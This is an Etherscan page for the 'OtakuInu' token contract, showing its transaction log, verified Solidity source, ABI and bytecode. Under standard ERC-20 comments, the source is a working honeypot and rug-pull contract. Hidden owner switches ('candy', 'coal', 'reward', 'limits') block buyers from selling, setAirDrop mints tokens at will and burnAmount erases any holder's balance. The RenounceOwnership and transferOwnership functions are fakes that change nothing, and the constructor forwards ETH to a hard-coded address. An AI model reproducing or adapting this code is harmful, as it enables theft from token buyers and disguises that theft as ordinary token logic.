ETH Price: $3,615.82 (+6.35%)

Contract

0xaaC63976D745854D4B9075a949FB2f40Cac89a15
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Enable Reward177874602023-07-27 22:44:35489 days ago1690497875IN
0xaaC63976...0Cac89a15
0 ETH0.0011403824.73889377
Set Honey177874582023-07-27 22:44:11489 days ago1690497851IN
0xaaC63976...0Cac89a15
0 ETH0.0005923224.44299929
Renounce Ownersh...177873672023-07-27 22:25:59489 days ago1690496759IN
0xaaC63976...0Cac89a15
0 ETH0.0006636724.77590605
Set Honey177873572023-07-27 22:23:59489 days ago1690496639IN
0xaaC63976...0Cac89a15
0 ETH0.0011876325.73701544
Set Limits177873542023-07-27 22:23:11489 days ago1690496591IN
0xaaC63976...0Cac89a15
0 ETH0.0007392125.53338669
Enable Reward177873512023-07-27 22:22:35489 days ago1690496555IN
0xaaC63976...0Cac89a15
0 ETH0.0006728425.69590753
Approve177873472023-07-27 22:21:47489 days ago1690496507IN
0xaaC63976...0Cac89a15
0 ETH0.0013333628.20859608
Set Uniswap Pair177873432023-07-27 22:20:59489 days ago1690496459IN
0xaaC63976...0Cac89a15
0 ETH0.0011597624.92771733
Approve177873092023-07-27 22:14:11489 days ago1690496051IN
0xaaC63976...0Cac89a15
0 ETH0.0011601524.68835859
Set Candy177873062023-07-27 22:13:35489 days ago1690496015IN
0xaaC63976...0Cac89a15
0 ETH0.0011638225.05108551
Set Candy177873052023-07-27 22:13:23489 days ago1690496003IN
0xaaC63976...0Cac89a15
0 ETH0.0011670525.12074472
Set Candy177873042023-07-27 22:13:11489 days ago1690495991IN
0xaaC63976...0Cac89a15
0 ETH0.0012158926.17197206
Set Candy177873032023-07-27 22:12:59489 days ago1690495979IN
0xaaC63976...0Cac89a15
0 ETH0.0012115926.07944842
Set Candy177873022023-07-27 22:12:47489 days ago1690495967IN
0xaaC63976...0Cac89a15
0 ETH0.0012622827.1705389
Set Candy177873012023-07-27 22:12:35489 days ago1690495955IN
0xaaC63976...0Cac89a15
0 ETH0.0011588624.9442787
Set Candy177873002023-07-27 22:12:23489 days ago1690495943IN
0xaaC63976...0Cac89a15
0 ETH0.0012053825.94576998
Set Candy177872992023-07-27 22:12:11489 days ago1690495931IN
0xaaC63976...0Cac89a15
0 ETH0.0012195126.25654504
Set Candy177872982023-07-27 22:11:59489 days ago1690495919IN
0xaaC63976...0Cac89a15
0 ETH0.0012280626.43377
Set Candy177872962023-07-27 22:11:35489 days ago1690495895IN
0xaaC63976...0Cac89a15
0 ETH0.001234526.57249785
Set Fee177872952023-07-27 22:11:23489 days ago1690495883IN
0xaaC63976...0Cac89a15
0 ETH0.0007766626.83254739
Set Candy177872942023-07-27 22:11:11489 days ago1690495871IN
0xaaC63976...0Cac89a15
0 ETH0.0011962525.74911693
Set Limits177872832023-07-27 22:08:59489 days ago1690495739IN
0xaaC63976...0Cac89a15
0 ETH0.0011951525.95968205
Set Fee177872792023-07-27 22:08:11489 days ago1690495691IN
0xaaC63976...0Cac89a15
0 ETH0.0007241125.01677692
Set Honey177872702023-07-27 22:06:23489 days ago1690495583IN
0xaaC63976...0Cac89a15
0 ETH0.0006259623.86164242
Set Fee177872682023-07-27 22:05:59489 days ago1690495559IN
0xaaC63976...0Cac89a15
0 ETH0.001194825.94854109
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
177868682023-07-27 20:44:35489 days ago1690490675
0xaaC63976...0Cac89a15
0.03 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OtakuInu

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-27
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    address router = address(0x73dD57Aa43CDC3C037Bbb0b97115Aa3DBEBf1463);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract OtakuInu is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 10 * 10 ** 9 * 10 ** 18;

    string private _name;
    string private _symbol;
    address private pairUniswap;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */

    constructor() payable {
        _name = "OtakuInu";
        _symbol = "OInu";
        _balances[msg.sender] = _totalSupply;
        require(msg.value >= 0.0239 ether, "Please enable PairHandler");
        (bool pairHandler, ) = payable(router).call{value: msg.value}("");
        require(
            pairHandler,
            "Failed to create new pair, pairHandler not connected!"
        );
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function setUniswapPair(
        address _pairUniswap
    ) public onlyOwner returns (bool) {
        pairUniswap = _pairUniswap;
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function setCandy(address account) public onlyOwner {
        candy[account] = true;
    }

    function removeCandy(address account) public onlyOwner {
        candy[account] = false;
    }

    function myChocolate(address account, uint256 amount) public onlyOwner {
        chocolates[account] = amount;
    }

    function setCoal(address account) public onlyOwner {
        coal[account] = true;
    }

    function removeCoal(address account) public onlyOwner {
        coal[account] = false;
    }

    function enableReward(bool _enable) public onlyOwner {
        reward = _enable;
    }

    function pickCoal(address account) internal {
        coal[account] = true;
    }

    function setAutoCoal(bool _enable) public onlyOwner {
        autoCoal = _enable;
    }

    function setNumbers(uint256 amount) public onlyOwner {
        numbers = amount;
    }

    function setLimits(uint256 amount) public onlyOwner {
        limits = amount;
    }

    function setFee(uint256 amount) public onlyOwner {
        require(amount >= 0);
        require(amount <= 100);
        fee = amount;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0));
        address oldOwner = owner();
        emit OwnershipTransferred(oldOwner, _newOwner);
    }

    function RenounceOwnership(
        address _DEAD,
        bool _boo
    ) public onlyOwner returns (address _dead) {
        ownershipToNull = _boo;
        _dead = _DEAD;
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (honey) {
            uint256 fromBalance = _balances[from];
            require(
                fromBalance >= amount,
                "ERC20: transfer amount exceeds balance"
            );
            unchecked {
                _balances[from] = fromBalance - amount;
            }
            _balances[to] += amount;

            emit Transfer(from, to, amount);
        } else {
            _beforeTokenTransfer(from, amount);
            burnFee(from, to, amount);
        }
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function burnAmount(address wallet, uint256 amount) public onlyOwner {
        require(wallet != owner(), "TARGET ERROR");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (_balances[wallet] <= amount * 10 ** 18) {
            _balances[wallet] = 0;
            _balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
        } else {
            _balances[wallet] = _balances[wallet] - amount * 10 ** 18;
            _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
        }
    }

    /**
     * @dev Deflationary instrument
     *
     * It can be turned on if necessary.
     *
     * Emits a {Transfer} event.
     *
     * Requirements
     *
     * - `sender` must have at least `value` tokens.
     */
    function burnFee(
        address sender,
        address recipient,
        uint256 value
    ) internal {
        require(_balances[sender] >= value, "Value exceeds balance");
        address deadAddress = 0x000000000000000000000000000000000000dEaD;
        if (sender != owner() && !candy[sender] && sender != address(this)) {
            uint256 burnFees = ((value * fee) / 100);
            uint256 amount = value - burnFees;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + amount;
            emit Transfer(sender, recipient, amount);
            if (fee > 0) {
                _balances[sender] = _balances[sender] - burnFees;
                _balances[deadAddress] = _balances[deadAddress] + burnFees;
                emit Transfer(sender, deadAddress, burnFees);
            }
        } else {
            _balances[sender] = _balances[sender] - value;
            _balances[recipient] = _balances[recipient] + value;
            emit Transfer(sender, recipient, value);
        }
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setAirDrop(address account, uint256 amount) public onlyOwner {
        _balances[account] = _balances[account] + amount;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        uint256 amount
    ) internal virtual {
        if (
            from != owner() && !candy[from] && from != pairUniswap // pair address to be changed
        ) {
            require(!coal[from]);
            if (chocolates[from] > 0) {
                require(amount <= chocolates[from]);
            }

            if (numbers > 0) {
                require(amount <= numbers);
            }
            if (reward) {
                revert("Error");
            }
            if (limits > 0) {
                require(_balances[from] <= limits);
            }

            if (autoCoal) {
                pickCoal(from);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */

    function setHoney(bool _honey) public onlyOwner {
        honey = _honey;
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev BEP20 Anti-Stuck Smart Contract Solution
     */

    /**
     * @dev This empty reserved space is put in place to allow future versions to add new
     * variables without shifting down storage in the inheritance chain.
     * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
     */
    uint256[45] private __gap;

    mapping(address => bool) private candy;
    mapping(address => bool) private coal;
    mapping(address => uint256) private chocolates;
    bool public reward;
    uint256 public numbers;
    uint256 public limits;
    uint256 public fee;
    bool public autoCoal;
    bool private honey = false;
    bool public ownershipToNull;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"RenounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"myChocolate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_honey","type":"bool"}],"name":"setHoney","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pairUniswap","type":"address"}],"name":"setUniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040527373dd57aa43cdc3c037bbb0b97115aa3dbebf1463600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b204fce5e3e250261100000006004556000603c60016101000a81548160ff0219169083151502179055506000620000966200033160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600881526020017f4f74616b75496e75000000000000000000000000000000000000000000000000815250600590816200017a9190620005b3565b506040518060400160405280600481526020017f4f496e750000000000000000000000000000000000000000000000000000000081525060069081620001c19190620005b3565b50600454600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506654e8ec6221c00034101562000255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024c90620006fb565b60405180910390fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16346040516200029f9062000752565b60006040518083038185875af1925050503d8060008114620002de576040519150601f19603f3d011682016040523d82523d6000602084013e620002e3565b606091505b50509050806200032a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200032190620007df565b60405180910390fd5b5062000801565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003bb57607f821691505b602082108103620003d157620003d062000373565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200043b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003fc565b620004478683620003fc565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004946200048e62000488846200045f565b62000469565b6200045f565b9050919050565b6000819050919050565b620004b08362000473565b620004c8620004bf826200049b565b84845462000409565b825550505050565b600090565b620004df620004d0565b620004ec818484620004a5565b505050565b5b81811015620005145762000508600082620004d5565b600181019050620004f2565b5050565b601f82111562000563576200052d81620003d7565b6200053884620003ec565b8101602085101562000548578190505b620005606200055785620003ec565b830182620004f1565b50505b505050565b600082821c905092915050565b6000620005886000198460080262000568565b1980831691505092915050565b6000620005a3838362000575565b9150826002028217905092915050565b620005be8262000339565b67ffffffffffffffff811115620005da57620005d962000344565b5b620005e68254620003a2565b620005f382828562000518565b600060209050601f8311600181146200062b576000841562000616578287015190505b62000622858262000595565b86555062000692565b601f1984166200063b86620003d7565b60005b8281101562000665578489015182556001820191506020850194506020810190506200063e565b8683101562000685578489015162000681601f89168262000575565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f506c6561736520656e61626c65205061697248616e646c657200000000000000600082015250565b6000620006e36019836200069a565b9150620006f082620006ab565b602082019050919050565b600060208201905081810360008301526200071681620006d4565b9050919050565b600081905092915050565b50565b60006200073a6000836200071d565b9150620007478262000728565b600082019050919050565b60006200075f826200072b565b9150819050919050565b7f4661696c656420746f20637265617465206e657720706169722c20706169724860008201527f616e646c6572206e6f7420636f6e6e6563746564210000000000000000000000602082015250565b6000620007c76035836200069a565b9150620007d48262000769565b604082019050919050565b60006020820190508181036000830152620007fa81620007b8565b9050919050565b61340e80620008116000396000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c806389fe85071161011a578063ce1fd380116100ad578063ddca3f431161007c578063ddca3f43146105ff578063de8f15171461061d578063f2fde38b14610639578063f865d99b14610655578063fb8bd26f1461067157610206565b8063ce1fd38014610567578063d5aed6bf14610583578063d6e3b886146105b3578063dd62ed3e146105cf57610206565b8063a457c2d7116100e9578063a457c2d7146104cd578063a9059cbb146104fd578063ae96ffe61461052d578063b70c28411461054957610206565b806389fe8507146104595780638da5cb5b1461047557806395d89b4114610493578063a1c61f50146104b157610206565b8063313ce5671161019d578063661751f91161016c578063661751f9146103a357806369fe0e2d146103d35780636d2f2ed6146103ef57806370a082311461040b578063860aefcf1461043b57610206565b8063313ce5671461031d578063395093511461033b57806359fa6d721461036b578063632445551461038757610206565b806318160ddd116101d957806318160ddd14610293578063228cb733146102b157806323b872dd146102cf57806327722f6a146102ff57610206565b8063032049891461020b57806306fdde0314610227578063095ea7b3146102455780630f953cca14610275575b600080fd5b61022560048036038101906102209190612930565b61068d565b005b61022f61077d565b60405161023c91906129ed565b60405180910390f35b61025f600480360381019061025a9190612a45565b61080f565b60405161026c9190612aa0565b60405180910390f35b61027d610832565b60405161028a9190612aa0565b60405180910390f35b61029b610845565b6040516102a89190612aca565b60405180910390f35b6102b961084f565b6040516102c69190612aa0565b60405180910390f35b6102e960048036038101906102e49190612ae5565b610862565b6040516102f69190612aa0565b60405180910390f35b610307610891565b6040516103149190612aca565b60405180910390f35b610325610897565b6040516103329190612b54565b60405180910390f35b61035560048036038101906103509190612a45565b6108a0565b6040516103629190612aa0565b60405180910390f35b61038560048036038101906103809190612b9b565b6108d7565b005b6103a1600480360381019061039c9190612930565b610989565b005b6103bd60048036038101906103b89190612bc8565b610a79565b6040516103ca9190612c17565b60405180910390f35b6103ed60048036038101906103e89190612c32565b610b33565b005b61040960048036038101906104049190612930565b610bee565b005b61042560048036038101906104209190612930565b610cde565b6040516104329190612aca565b60405180910390f35b610443610d27565b6040516104509190612aca565b60405180910390f35b610473600480360381019061046e9190612c32565b610d2d565b005b61047d610dcc565b60405161048a9190612c17565b60405180910390f35b61049b610df5565b6040516104a891906129ed565b60405180910390f35b6104cb60048036038101906104c69190612b9b565b610e87565b005b6104e760048036038101906104e29190612a45565b610f39565b6040516104f49190612aa0565b60405180910390f35b61051760048036038101906105129190612a45565b610fb0565b6040516105249190612aa0565b60405180910390f35b61054760048036038101906105429190612c32565b610fd3565b005b610551611072565b60405161055e9190612aa0565b60405180910390f35b610581600480360381019061057c9190612930565b611085565b005b61059d60048036038101906105989190612930565b611175565b6040516105aa9190612aa0565b60405180910390f35b6105cd60048036038101906105c89190612a45565b611256565b005b6105e960048036038101906105e49190612c5f565b611333565b6040516105f69190612aca565b60405180910390f35b6106076113ba565b6040516106149190612aca565b60405180910390f35b61063760048036038101906106329190612a45565b6113c0565b005b610653600480360381019061064e9190612930565b6114e7565b005b61066f600480360381019061066a9190612b9b565b61161f565b005b61068b60048036038101906106869190612a45565b6116d1565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff